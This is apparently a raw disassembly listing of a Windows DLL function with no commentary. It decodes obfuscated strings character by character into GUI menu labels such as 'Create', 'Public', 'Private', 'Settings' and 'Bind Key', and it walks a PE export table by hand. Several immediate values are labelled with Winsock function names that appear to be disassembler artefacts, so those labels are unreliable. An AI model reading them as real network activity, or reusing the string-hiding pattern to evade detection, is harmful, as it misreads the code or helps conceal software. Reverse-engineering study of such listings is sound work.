mov byte [rbp + 0x945], cl
mov byte [rbp + 0x946], r13b
mov byte [rbp + 0x947], r12b
mov byte [rbp + 0x948], r15b
mov byte [rbp + 0x949], r14b
mov byte [rbp + 0x94a], sil
mov byte [rbp + 0x94b], dil
mov byte [rbp + 0x94c], bl
mov byte [rbp + 0x94d], al
lea rcx, [rbp + 0x3498]
call fcn.180011f00
mov dword [rsp + 0x70], 0x2000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x3498]
call fcn.180014330
xor r13d, r13d
mov edi, r13d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x940]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800569f0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3498]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e7480
lea rcx, [rbp + 0x3498]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x3498]
call fcn.180011f20
movss xmm8, dword [0x1801ce5d0]
movaps xmm1, xmm8
lea ecx, [rsi + 0xd]
call fcn.1800696e0
mov dword [rsp + 0x20], 0xff
mov edx, socket
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x44e8]
call fcn.180011e40
mov rdx, rax
lea ecx, [rsi + 0x15]
call fcn.180069630
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movss xmm0, dword [0x1801ce744]
call fcn.180076c20
movaps xmm0, xmm7
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm6
lea rcx, [rbp + 0x3f88]
call fcn.180011e10
mov r14, rax
xor eax, eax
mov qword [rbp + 0x1200], rax
mov cl, 0x52
call fcn.180056b10
mov byte [rsp + 0x68], al
mov cl, 0x65
call fcn.180056b10
mov byte [rsp + 0x69], al
mov cl, 0x66
call fcn.180056b10
mov byte [rsp + 0x6a], al
mov cl, WSAStartup
call fcn.180056b10
mov byte [rsp + 0x6b], al
mov cl, 0x65
call fcn.180056b10
mov byte [rsp + 0x6c], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056b10
mov byte [rsp + 0x6d], al
mov cl, 0x68
call fcn.180056b10
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180056b10
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1200], rax
lea rcx, [rbp + 0x34b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000
xor r8d, r8d
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x34b8]
call fcn.180014330
mov rdi, r13
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x1200]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180056b10
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x34b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e75f1
lea rcx, [rbp + 0x34b8]
call fcn.1800143e0
mov rdx, r14
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x34b8]
call fcn.180011f20
test bl, bl
je 0x1800e7660
lea rcx, [0x1805e5bb0]
call fcn.18001bd60
call fcn.180033ca0
movaps xmm1, xmm9
movaps xmm0, xmm15
call fcn.180076ad0
movaps xmm2, xmm11
movaps xmm1, xmm6
lea rcx, [rbp + 0x3f90]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov dword [rbp + 0x50], eax
mov word [rbp + 0x54], ax
mov byte [rbp + 0x56], al
mov cl, 0x43
call fcn.180056880
movzx r12d, al
mov cl, WSAStartup
call fcn.180056880
movzx r15d, al
mov cl, 0x65
call fcn.180056880
movzx r14d, al
mov cl, 0x61
call fcn.180056880
movzx esi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056880
movzx edi, al
mov cl, 0x65
call fcn.180056880
movzx ebx, al
xor ecx, ecx
call fcn.180056880
mov byte [rbp + 0x50], r12b
mov byte [rbp + 0x51], r15b
mov byte [rbp + 0x52], r14b
mov byte [rbp + 0x53], sil
mov byte [rbp + 0x54], dil
mov byte [rbp + 0x55], bl
mov byte [rbp + 0x56], al
lea rcx, [rbp + 0x34d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x800
xor r8d, r8d
mov ebx, 7
mov edx, ebx
lea rcx, [rbp + 0x34d8]
call fcn.180014330
mov edi, ebx
nop dword [rax]
mov rdx, r13
lea rcx, [rbp + 0x50]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.180056880
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x34d8]
call fcn.180014c80
mov byte [rax], bl
inc r13
sub rdi, 1
jne 0x1800e7720
lea rcx, [rbp + 0x34d8]
call fcn.1800143e0
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x34d8]
call fcn.180011f20
test bl, bl
je 0x1800e7783
mov byte [0x1805e4f60], 1
call fcn.180075800
mov ecx, 1
call fcn.180069690
mov ecx, 1
call fcn.1800697c0
call fcn.180070430
mov ecx, 1
call fcn.1800697c0
cmp byte [0x1805e4f60], 0
je 0x1800e77c9
xor edx, edx
lea rcx, str.ILaggosczO
call fcn.180077c30
mov byte [0x1805e4f60], 0
movss xmm2, dword [0x1801ce808]
movss xmm1, dword [0x1801ce84c]
lea rcx, [rbp + 0x3f98]
call fcn.180011e10
mov rcx, rax
xor edx, edx
call fcn.180075bd0
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x3fa0]
call fcn.180011e10
mov rbx, rax
movss xmm0, dword [rbp + 0x4b9c]
cvtps2pd xmm0, xmm0
mulsd xmm0, qword [0x1801ce618]
subsd xmm0, qword [0x1801ce6c0]
cvtpd2ps xmm2, xmm0
movss xmm0, dword [rbp + 0x4b98]
cvtps2pd xmm0, xmm0
mulsd xmm0, qword [0x1801ce618]
subsd xmm0, qword [0x1801ce6e0]
cvtpd2ps xmm1, xmm0
lea rcx, [rbp + 0x3fa8]
call fcn.180011e10
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.180075b90
xor edx, edx
lea r8d, [rdx + 0x1f]
lea rcx, str.ILaggosczO
call fcn.180078490
test al, al
je case.default.0x1800caf59
mov dword [rsp + 0x20], 0xff
mov edi, reloc.WS2_32.dll_sendto
mov r9d, edi
mov r8d, edi
mov edx, edi
lea rcx, [rbp + 0x44f8]
call fcn.180011e40
mov rdx, rax
lea ecx, [rdi - 0x11]
call fcn.180069630
lea rcx, [rbp + 0x3fb0]
call fcn.18005f100
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x840], rax
mov dword [rbp + 0x848], eax
mov word [rbp + 0x84c], ax
mov cl, 0x23
call fcn.1800146f0
mov byte [rsp + 0x5c], al
mov cl, 0x23
call fcn.1800146f0
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146f0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146f0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146f0
mov byte [rsp + 0x53], al
mov cl, 0x75
call fcn.1800146f0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146f0
movzx r13d, al
mov cl, 0x5f
call fcn.1800146f0
movzx r12d, al
mov cl, 0x63
call fcn.1800146f0
movzx r15d, al
mov cl, 0x68
call fcn.1800146f0
movzx r14d, al
mov cl, 0x69
call fcn.1800146f0
movzx esi, al
mov cl, 0x6c
call fcn.1800146f0
movzx edi, al
mov cl, 0x64
call fcn.1800146f0
movzx ebx, al
xor ecx, ecx
call fcn.1800146f0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x840], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x841], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x842], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x843], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x844], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x845], cl
mov byte [rbp + 0x846], r13b
mov byte [rbp + 0x847], r12b
mov byte [rbp + 0x848], r15b
mov byte [rbp + 0x849], r14b
mov byte [rbp + 0x84a], sil
mov byte [rbp + 0x84b], dil
mov byte [rbp + 0x84c], bl
mov byte [rbp + 0x84d], al
lea rcx, [rbp + 0x34f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x200
xor r8d, r8d
mov r14d, send
mov edx, r14d
lea rcx, [rbp + 0x34f8]
call fcn.180014330
xor edi, edi
mov esi, edi
nop dword [rax]
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x840]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800146f0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x34f8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800e7a10
lea rcx, [rbp + 0x34f8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180070380
movzx ebx, al
lea rcx, [rbp + 0x34f8]
call fcn.180011f20
test bl, bl
je 0x1800e8391
mov rcx, qword [0x1805e4a20]
call fcn.180075760
mov dword [rsp + 0x20], 0xff
mov edx, 0x1a
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4508]
call fcn.180011e40
mov rdx, rax
lea ecx, [r14 + 7]
call fcn.180069630
mov dword [rsp + 0x20], 0xff
mov edx, 0xc8
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4518]
call fcn.180011e40
mov rdx, rax
xor ecx, ecx
call fcn.180069630
movaps xmm0, xmm11
call fcn.180076bd0
movaps xmm0, xmm11
call fcn.180076c20
xor eax, eax
mov qword [rbp + 0x11f8], rax
mov cl, 0x20
call fcn.1800567d0
mov byte [rsp + 0x68], al
mov cl, 0x4e
call fcn.1800567d0
mov byte [rsp + 0x69], al
mov cl, 0x61
call fcn.1800567d0
mov byte [rsp + 0x6a], al
mov cl, 0x6d
call fcn.1800567d0
mov byte [rsp + 0x6b], al
mov cl, 0x65
call fcn.1800567d0
mov byte [rsp + 0x6c], al
mov cl, 0x3a
call fcn.1800567d0
mov byte [rsp + 0x6d], al
mov cl, 0x20
call fcn.1800567d0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800567d0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x11f8], rax
lea rcx, [rbp + 0x3518]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80000000
xor r8d, r8d
mov r15d, 8
mov edx, r15d
lea rcx, [rbp + 0x3518]
call fcn.180014330
mov rsi, rdi
mov r14d, r15d
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x11f8]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800567d0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x3518]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800e7b90
lea rcx, [rbp + 0x3518]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x3518]
call fcn.180011f20
movss xmm0, dword [0x1801ce830]
call fcn.180076c70
xor eax, eax
mov qword [rbp + 0x11e8], rax
mov cl, 0x20
call fcn.1800ed7f0
mov byte [rsp + 0x68], al
mov cl, 0x4e
call fcn.1800ed7f0
mov byte [rsp + 0x69], al
mov cl, 0x61
call fcn.1800ed7f0
mov byte [rsp + 0x6a], al
mov cl, 0x6d
call fcn.1800ed7f0
mov byte [rsp + 0x6b], al
mov cl, 0x65
call fcn.1800ed7f0
mov byte [rsp + 0x6c], al
mov cl, 0x3a
call fcn.1800ed7f0
mov byte [rsp + 0x6d], al
mov cl, 0x20
call fcn.1800ed7f0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800ed7f0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x11e8], rax
lea rcx, [rbp + 0x3538]
call fcn.180011f00
mov dword [rsp + 0x70], 1
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp + 0x3538]
call fcn.180014330
mov rsi, r15
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x11e8]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800ed7f0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3538]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e7c90
lea rcx, [rbp + 0x3538]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm9
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3fb8]
call fcn.18006fcc0
movss xmm0, dword [rax]
addss xmm0, xmm13
call fcn.180076bd0
nop
lea rcx, [rbp + 0x3538]
call fcn.180011f20
movss xmm0, dword [0x1801ce76c]
call fcn.180076c20
xor eax, eax
mov qword [rbp + 0xa50], rax
mov dword [rbp + 0xa58], eax
mov cl, 0x23
call fcn.1800148c0
mov byte [rsp + 0x5c], al
mov cl, 0x23
call fcn.1800148c0
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.1800148c0
mov byte [rsp + 0x51], al
mov cl, 0x64
call fcn.1800148c0
mov byte [rsp + 0x52], al
mov cl, 0x5f
call fcn.1800148c0
movzx r13d, al
mov cl, 0x63
call fcn.1800148c0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800148c0
movzx r15d, al
mov cl, WSAGetLastError
call fcn.1800148c0
movzx r14d, al
mov cl, 0x66
call fcn.1800148c0
movzx esi, al
mov cl, 0x69
call fcn.1800148c0
movzx edi, al
mov cl, 0x67
call fcn.1800148c0
movzx ebx, al
xor ecx, ecx
call fcn.1800148c0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0xa50], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xa51], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xa52], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xa53], cl
mov byte [rbp + 0xa54], r13b
mov byte [rbp + 0xa55], r12b
mov byte [rbp + 0xa56], r15b
mov byte [rbp + 0xa57], r14b
mov byte [rbp + 0xa58], sil
mov byte [rbp + 0xa59], dil
mov byte [rbp + 0xa5a], bl
mov byte [rbp + 0xa5b], al
lea rcx, [rbp + 0x3558]
call fcn.180011f00
mov dword [rsp + 0x70], 2
xor r8d, r8d
mov edi, recv
mov edx, edi
lea rcx, [rbp + 0x3558]
call fcn.180014330
xor r13d, r13d
mov esi, r13d
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xa50]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800148c0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x3558]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800e7e40
lea rcx, [rbp + 0x3558]
call fcn.1800143e0
mov rcx, rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8d, [rdi + 7]
lea rdx, [0x1805e5fd8]
call fcn.1800989a0
nop
lea rcx, [rbp + 0x3558]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
xor eax, eax
mov cl, 0x50
cmp byte [0x1805e4f69], al
je 0x1800e7f90
mov dword [rbp + 0xb0], eax
mov word [rbp + 0xb4], ax
mov byte [rbp + 0xb6], al
call fcn.180014780
movzx r12d, al
mov cl, 0x75
call fcn.180014780
movzx r15d, al
mov cl, 0x62
call fcn.180014780
movzx r14d, al
mov cl, 0x6c
call fcn.180014780
movzx esi, al
mov cl, 0x69
call fcn.180014780
movzx edi, al
mov cl, 0x63
call fcn.180014780
movzx ebx, al
xor ecx, ecx
call fcn.180014780
mov byte [rbp + 0xb0], r12b
mov byte [rbp + 0xb1], r15b
mov byte [rbp + 0xb2], r14b
mov byte [rbp + 0xb3], sil
mov byte [rbp + 0xb4], dil
mov byte [rbp + 0xb5], bl
mov byte [rbp + 0xb6], al
lea rdx, [rbp + 0x48f8]
lea rcx, [rbp + 0xb0]
call fcn.180054670
nop
mov ebx, 0x100
jmp 0x1800e8012
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
jmp 0x1800e6eb0
mov qword [rbp + 0x11e0], rax
call fcn.180014980
mov byte [rsp + 0x68], al
mov cl, WSAStartup
call fcn.180014980
mov byte [rsp + 0x69], al
mov cl, 0x69
call fcn.180014980
mov byte [rsp + 0x6a], al
mov cl, 0x76
call fcn.180014980
mov byte [rsp + 0x6b], al
mov cl, 0x61
call fcn.180014980
mov byte [rsp + 0x6c], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014980
mov byte [rsp + 0x6d], al
mov cl, 0x65
call fcn.180014980
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180014980
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x11e0], rax
lea rdx, [rbp + 0x4758]
lea rcx, [rbp + 0x11e0]
call fcn.180014010
nop
mov ebx, 0x200
mov dword [rbp - 0x78], ebx
mov rcx, rax
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4f69]
call fcn.1800b3d40
nop
bt ebx, 9
jae 0x1800e8044
btr ebx, 9
lea rcx, [rbp + 0x4758]
call fcn.180011f20
nop
bt ebx, 8
jae 0x1800e8056
lea rcx, [rbp + 0x48f8]
call fcn.180011f20
mov ecx, 2
call fcn.180069690
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm1, xmm8
mov ecx, reloc.WS2_32.dll_listen
call fcn.1800696e0
mov dword [rsp + 0x20], 0xff
mov eax, socket
mov r9d, eax
mov r8d, eax
mov edx, eax
lea rcx, [rbp + 0x4528]
call fcn.180011e40
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.180069630
movss xmm0, dword [0x1801ce7ac]
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm10
lea rcx, [rbp + 0x3fc0]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov dword [rbp + 0x48], eax
mov word [rbp + 0x4c], ax
mov byte [rbp + 0x4e], al
mov cl, 0x43
call fcn.1800568f0
movzx r12d, al
mov cl, WSAStartup
call fcn.1800568f0
movzx r15d, al
mov cl, 0x65
call fcn.1800568f0
movzx r14d, al
mov cl, 0x61
call fcn.1800568f0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800568f0
movzx edi, al
mov cl, 0x65
call fcn.1800568f0
movzx ebx, al
xor ecx, ecx
call fcn.1800568f0
mov byte [rbp + 0x48], r12b
mov byte [rbp + 0x49], r15b
mov byte [rbp + 0x4a], r14b
mov byte [rbp + 0x4b], sil
mov byte [rbp + 0x4c], dil
mov byte [rbp + 0x4d], bl
mov byte [rbp + 0x4e], al
lea rcx, [rbp + 0x3578]
call fcn.180011f00
mov dword [rsp + 0x70], 4
xor r8d, r8d
mov esi, 7
mov edx, esi
lea rcx, [rbp + 0x3578]
call fcn.180014330
mov rdi, r13
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x48]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.1800568f0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3578]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e8180
lea rcx, [rbp + 0x3578]
call fcn.1800143e0
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x3578]
call fcn.180011f20
test bl, bl
je 0x1800e8245
mov rax, 0xffffffffffffffff
lea rsi, [0x1805e5fd8]
nop word [rax + rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x1800e81f0
test rax, rax
je 0x1800e8245
lea rcx, [0x1805e5bb0]
call fcn.18001bd60
mov rdi, rax
movzx ebx, byte [0x1805e4f69]
mov rdx, rsi
lea rcx, [rbp + 0x4918]
call fcn.1800143f0
nop
movzx r8d, bl
mov rdx, rax
mov rcx, rdi
call fcn.1800507f0
nop
lea rcx, [rbp + 0x4918]
call fcn.180011f20
call fcn.180078140
movaps xmm1, xmm9
movaps xmm0, xmm15
call fcn.180076ad0
movaps xmm2, xmm11
movaps xmm1, xmm10
lea rcx, [rbp + 0x3fc8]
call fcn.180011e10
mov r12, rax
xor eax, eax
mov dword [rbp + 0x170], eax
mov word [rbp + 0x174], ax
mov cl, 0x43
call fcn.180056920
movzx r15d, al
mov cl, 0x6c
call fcn.180056920
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056920
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056920
movzx edi, al
mov cl, 0x65
call fcn.180056920
movzx ebx, al
xor ecx, ecx
call fcn.180056920
mov byte [rbp + 0x170], r15b
mov byte [rbp + 0x171], r14b
mov byte [rbp + 0x172], sil
mov byte [rbp + 0x173], dil
mov byte [rbp + 0x174], bl
mov byte [rbp + 0x175], al
lea rcx, [rbp + 0x3598]
call fcn.180011f00
mov dword [rsp + 0x70], 8
xor r8d, r8d
mov edi, 6
mov edx, edi
lea rcx, [rbp + 0x3598]
call fcn.180014330
nop word [rax + rax]
mov rdx, r13
lea rcx, [rbp + 0x170]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.180056920
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x3598]
call fcn.180014c80
mov byte [rax], bl
inc r13
sub rdi, 1
jne 0x1800e8310
lea rcx, [rbp + 0x3598]
call fcn.1800143e0
mov rdx, r12
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x3598]
call fcn.180011f20
test bl, bl
je 0x1800e8373
call fcn.180078140
mov ecx, 1
call fcn.180069690
mov ecx, 1
call fcn.1800697c0
call fcn.180075800
call fcn.180070430
mov ecx, 1
call fcn.180069690
call fcn.180078610
jmp case.default.0x1800caf59
xor eax, eax
mov qword [rbp + 0x480], rax
mov byte [rbp + 0x488], al
mov cl, 0x53
call fcn.1800149a0
mov byte [rsp + 0x5c], al
mov cl, 0x65
call fcn.1800149a0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800149a0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800149a0
movzx r15d, al
mov cl, 0x69
call fcn.1800149a0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.1800149a0
movzx esi, al
mov cl, 0x67
call fcn.1800149a0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800149a0
movzx ebx, al
xor ecx, ecx
call fcn.1800149a0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x480], cl
mov byte [rbp + 0x481], r13b
mov byte [rbp + 0x482], r12b
mov byte [rbp + 0x483], r15b
mov byte [rbp + 0x484], r14b
mov byte [rbp + 0x485], sil
mov byte [rbp + 0x486], dil
mov byte [rbp + 0x487], bl
mov byte [rbp + 0x488], al
lea rcx, [rbp + 0x35b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x2000000
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x35b8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x480]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.1800149a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x35b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e8480
lea rcx, [rbp + 0x35b8]
call fcn.1800143e0
mov rdx, rax
lea rcx, [0x1805dded0]
call fcn.180056330
nop
lea rcx, [rbp + 0x35b8]
call fcn.180011f20
movss xmm11, dword [0x1801ce774]
movaps xmm0, xmm11
call fcn.180076c20
movaps xmm0, xmm11
call fcn.180076bd0
lea rcx, [rbp + 0x3fd0]
call fcn.180076f00
movss xmm6, dword [rax + 4]
movss xmm10, dword [0x1801ce760]
subss xmm6, xmm10
lea rcx, [rbp + 0x3fd8]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm10
movaps xmm2, xmm6
lea rcx, [rbp + 0x3fe0]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0xa90], rax
mov dword [rbp + 0xa98], eax
mov cl, 0x23
call fcn.180056b10
mov byte [rsp + 0x5c], al
mov cl, 0x23
call fcn.180056b10
mov byte [rsp + 0x50], al
mov cl, 0x62
call fcn.180056b10
mov byte [rsp + 0x51], al
mov cl, 0x69
call fcn.180056b10
mov byte [rsp + 0x52], al
mov cl, WSAGetLastError
call fcn.180056b10
movzx r13d, al
mov cl, 0x64
call fcn.180056b10
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056b10
movzx r15d, al
mov cl, 0x5f
call fcn.180056b10
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056b10
movzx esi, al
mov cl, 0x61
call fcn.180056b10
movzx edi, al
mov cl, 0x62
call fcn.180056b10
movzx ebx, al
xor ecx, ecx
call fcn.180056b10
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0xa90], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xa91], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xa92], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xa93], cl
mov byte [rbp + 0xa94], r13b
mov byte [rbp + 0xa95], r12b
mov byte [rbp + 0xa96], r15b
mov byte [rbp + 0xa97], r14b
mov byte [rbp + 0xa98], sil
mov byte [rbp + 0xa99], dil
mov byte [rbp + 0xa9a], bl
mov byte [rbp + 0xa9b], al
lea rcx, [rbp + 0x35d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x4000000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x35d8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0xa90]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.180056b10
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x35d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e8660
lea rcx, [rbp + 0x35d8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x35d8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x7b0], rax
mov word [rbp + 0x7b8], ax
mov cl, 0x42
call fcn.1800147c0
mov byte [rsp + 0x5c], al
mov cl, 0x69
call fcn.1800147c0
mov byte [rsp + 0x50], al
mov cl, WSAGetLastError
call fcn.1800147c0
movzx r13d, al
mov cl, 0x64
call fcn.1800147c0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800147c0
movzx r15d, al
mov cl, 0x20
call fcn.1800147c0
movzx r14d, al
mov cl, 0x4b
call fcn.1800147c0
movzx esi, al
mov cl, 0x65
call fcn.1800147c0
movzx edi, al
mov cl, 0x79
call fcn.1800147c0
movzx ebx, al
xor ecx, ecx
call fcn.1800147c0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x7b0], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x7b1], cl
mov byte [rbp + 0x7b2], r13b
mov byte [rbp + 0x7b3], r12b
mov byte [rbp + 0x7b4], r15b
mov byte [rbp + 0x7b5], r14b
mov byte [rbp + 0x7b6], sil
mov byte [rbp + 0x7b7], dil
mov byte [rbp + 0x7b8], bl
mov byte [rbp + 0x7b9], al
lea rcx, [rbp + 0x35f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x8000000
xor r8d, r8d
mov ebx, 0xa
mov edx, ebx
lea rcx, [rbp + 0x35f8]
call fcn.180014330
xor edi, edi
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x7b0]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.1800147c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x35f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e87b0
lea rcx, [rbp + 0x35f8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x35f8]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
movss xmm0, dword [0x1801ce7d4]
call fcn.180076c20
movss xmm12, dword [0x1801ce7ac]
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movss xmm7, dword [0x1801ce7d8]
movaps xmm1, xmm7
lea rcx, [rbp + 0x3fe8]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x490], rax
mov byte [rbp + 0x498], al
mov cl, 0x67
call fcn.180056970
mov byte [rsp + 0x5c], al
